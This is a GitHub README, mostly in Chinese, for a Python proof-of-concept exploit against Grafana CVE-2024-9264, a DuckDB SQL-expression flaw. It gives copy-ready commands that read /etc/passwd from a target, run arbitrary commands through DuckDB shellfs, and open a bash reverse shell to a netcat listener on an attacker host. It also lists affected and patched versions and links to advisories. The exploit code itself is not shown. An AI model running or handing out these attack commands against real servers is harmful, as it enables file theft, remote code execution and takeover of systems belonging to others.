ozcanpng/CVE-2024-9264
GitHub: ozcanpng/CVE-2024-9264
针对 Grafana CVE-2024-9264 漏洞的 Python PoC 工具,验证经认证用户通过 DuckDB SQL 表达式实现文件读取与命令执行。
Stars: 0 | Forks: 0
# CVE-2024-9264 - Grafana SQL Expressions DuckDB LFI/RCE PoC
针对 CVE-2024-9264 的 Python 概念验证(PoC)。CVE-2024-9264 是一个 Grafana SQL Expressions 漏洞,由于 DuckDB 查询未经充分清理,经过身份验证的攻击者可利用该漏洞进行本地文件包含,并在特定条件下执行命令。
## 功能
```
authenticated Grafana API access -> SQL Expressions DuckDB query -> file read proof -> optional shellfs command execution
```
1. 向 Grafana 的 SQL Expressions 数据源查询 API 发送经过身份验证的请求。
2. 通过 `read_blob()` 读取文件作为证明来验证该漏洞,默认读取 `/etc/passwd`。
3. 可选择性地发送 DuckDB `shellfs` payload 用于执行命令,或发送 bash 反向 shell。
## 环境配置
```
git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
pip install -r requirements.txt
```
## 用法
文件读取验证:
```
python3 CVE-2024-9264.py --target http://target:3000 --username admin --password admin --file /etc/passwd
```
命令执行验证:
```
python3 CVE-2024-9264.py --target http://target:3000 --username admin --password admin --cmd id
```
反向 shell:
```
rlwrap nc -lvnp 4444
python3 CVE-2024-9264.py --target http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
```
Dry run:
```
python3 CVE-2024-9264.py --target http://target:3000 --cmd id --dry-run
```
## 选项
```
-u, --url, --target Target URL, for example http://localhost:3000
--username Grafana username. Default: admin
--password Grafana password. Default: admin
--file File path for LFI proof. Default: /etc/passwd
--expected-marker Marker expected in file read response. Default: root:
--cmd Command to execute through the DuckDB shellfs path
--reverse-shell Run a bash reverse shell payload
--lhost Listener host for --reverse-shell
--lport Listener port for --reverse-shell
--timeout HTTP timeout in seconds. Default: 20
--verify-tls Verify TLS certificates. Default: enabled
-k, --insecure Disable TLS certificate verification
--dry-run Print payload metadata without sending requests
--debug Print request debugging metadata
```
## 影响范围
| 产品 | 受影响版本 | 所需权限 | 影响 |
|---------|------------------|-----------------|--------|
| Grafana OSS / Enterprise | 已修补安全版本发布之前的 Grafana v11.x(从 v11.0.0 起) | Viewer 或更高权限 | 当 DuckDB 在 Grafana 的 PATH 中可用时,存在本地文件包含和命令注入风险 |
Grafana 官方声明指出,要利用此漏洞,Grafana 进程的 PATH 中必须存在 DuckDB 二进制文件,而常规的 Grafana 发行版默认不包含该文件。
## 注意事项
- 此 PoC 需要具备有效且权限为 Viewer 或更高的 Grafana 凭据。
- 文件读取用作命令执行前的第一步验证。
- 命令执行取决于目标环境的行为以及 DuckDB `shellfs` 是否可用。
- 对于使用自签名证书的 TLS 目标,请传入 `-k` 或 `--insecure`。
- 已修补的版本包括 Grafana `11.0.5+security-01`、`11.1.6+security-01`、`11.2.1+security-01`、`11.0.6+security-01`、`11.1.7+security-01` 和 `11.2.2+security-01`。
## 参考资料
- [Grafana 安全通告 - CVE-2024-9264](https://grafana.com/security/security-advisories/cve-2024-9264/)
- [Grafana 安全版本发布博客](https://grafana.com/blog/grafana-security-release-critical-severity-fix-for-cve-2024-9264/)
- [NVD - CVE-2024-9264](https://nvd.nist.gov/vuln/detail/CVE-2024-9264)
## 作者
ozcanpng - [github.com/ozcanpng](https://github.com/ozcanpng) - [ozcanpng.dev](https://ozcanpng.dev)
标签:Grafana, PoC, Python, RCE, 无后门, 暴力破解, 网络安全审计, 逆向工具